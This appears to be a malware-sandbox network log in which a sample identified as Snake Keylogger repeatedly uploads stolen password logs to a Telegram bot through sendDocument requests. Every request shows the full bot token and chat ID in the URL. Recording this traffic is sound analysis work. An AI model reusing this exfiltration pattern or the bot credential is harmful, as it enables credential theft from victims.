2022-06-26 07:33:52 UTC	287	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:52 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:52 UTC	288	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66938,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228832,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
171	192.168.2.5	50028	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:52 UTC	288	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570073f6e2 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:52 UTC	289	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 30 37 33 66 36 65 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570073f6e2Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:52 UTC	289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:52 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:52 UTC	289	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 33 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 32 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66939,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228832,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
172	192.168.2.5	50029	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:52 UTC	290	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575700b1f3ff Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:52 UTC	290	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 30 62 31 66 33 66 66 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575700b1f3ffContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:53 UTC	291	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:53 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:53 UTC	291	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 34 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66940,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228833,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
173	192.168.2.5	50030	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:53 UTC	292	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575700fe3f2e Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:53 UTC	292	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 30 66 65 33 66 32 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575700fe3f2eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:53 UTC	292	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:53 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:53 UTC	293	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 34 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66942,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228833,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
174	192.168.2.5	50031	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:53 UTC	293	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da5757013c3be7 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:53 UTC	294	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 31 33 63 33 62 65 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da5757013c3be7Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:54 UTC	294	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:54 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:54 UTC	295	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 34 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66943,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228834,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
175	192.168.2.5	50032	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:54 UTC	295	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da57570177d6be Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:54 UTC	295	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 31 37 37 64 36 62 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da57570177d6beContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:54 UTC	296	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:54 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:54 UTC	296	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 34 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66944,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228834,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
176	192.168.2.5	50034	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:54 UTC	297	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575701aead2e Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:54 UTC	297	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 31 61 65 61 64 32 65 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575701aead2eContent-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:54 UTC	298	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:54 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:54 UTC	298	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 34 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66945,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228834,"document":{"file_

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
177	192.168.2.5	50035	149.154.167.220	443	C:\Users\user\Desktop\0OZQi3b0tM.exe

Timestamp	kBytes transferred	Direction	Data
2022-06-26 07:33:54 UTC	298	OUT	POST /bot5392870078:AAEZf0ajeo_PMkBddeC_JE--NP4u4367N6c/sendDocument?chat_id=1856108848&caption=%20Pc%20Name:%20user%20%7C%20Snake%20Keylogger%0D%0A%0D%0APW%20%7C%20user%20%7C%20Snake HTTP/1.1 Content-Type: multipart/form-data; boundary=------------------------8da575701e32082 Host: api.telegram.org Content-Length: 504
2022-06-26 07:33:54 UTC	299	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 61 35 37 35 37 30 31 65 33 32 30 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 53 6e 61 6b 65 50 57 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 50 57 20 7c 20 61 6c 66 6f 6e 73 20 7c 20 53 6e 61 6b 65 0d 0a 20 0d 0a 0d 0a 50 43 20 4e 61 6d 65 3a 32 38 34 39 39 32 0d 0a 44 61 74 65 20 61 6e 64 20 54 69 6d 65 3a 20 36 2f 32 36 2f 32 30 32 32 20 2f 20 39 3a 33 32 3a 32 32 20 41 4d 0d 0a 43 6c 69 65 6e 74 20 49 50 Data Ascii: --------------------------8da575701e32082Content-Disposition: form-data; name="document"; filename="SnakePW.txt"Content-Type: application/x-ms-dos-executablePW \| user \| Snake PC Name:284992Date and Time: 6/26/2022 / 9:32:22 AMClient IP
2022-06-26 07:33:55 UTC	299	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sun, 26 Jun 2022 07:33:55 GMT Content-Type: application/json Content-Length: 507 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2022-06-26 07:33:55 UTC	300	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 36 39 34 37 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 35 33 39 32 38 37 30 30 37 38 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4d 61 67 69 63 61 6c 6c 6f 67 73 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 31 38 35 36 31 30 38 38 34 38 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 63 6f 74 74 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 43 6c 61 72 6b 65 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 36 35 36 32 32 38 38 33 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f Data Ascii: {"ok":true,"result":{"message_id":66947,"from":{"id":5392870078,"is_bot":true,"first_name":"Magicallogs","username":"Magicallogs_bot"},"chat":{"id":1856108848,"first_name":"Scott","last_name":"Clarke","type":"private"},"date":1656228835,"document":{"file_

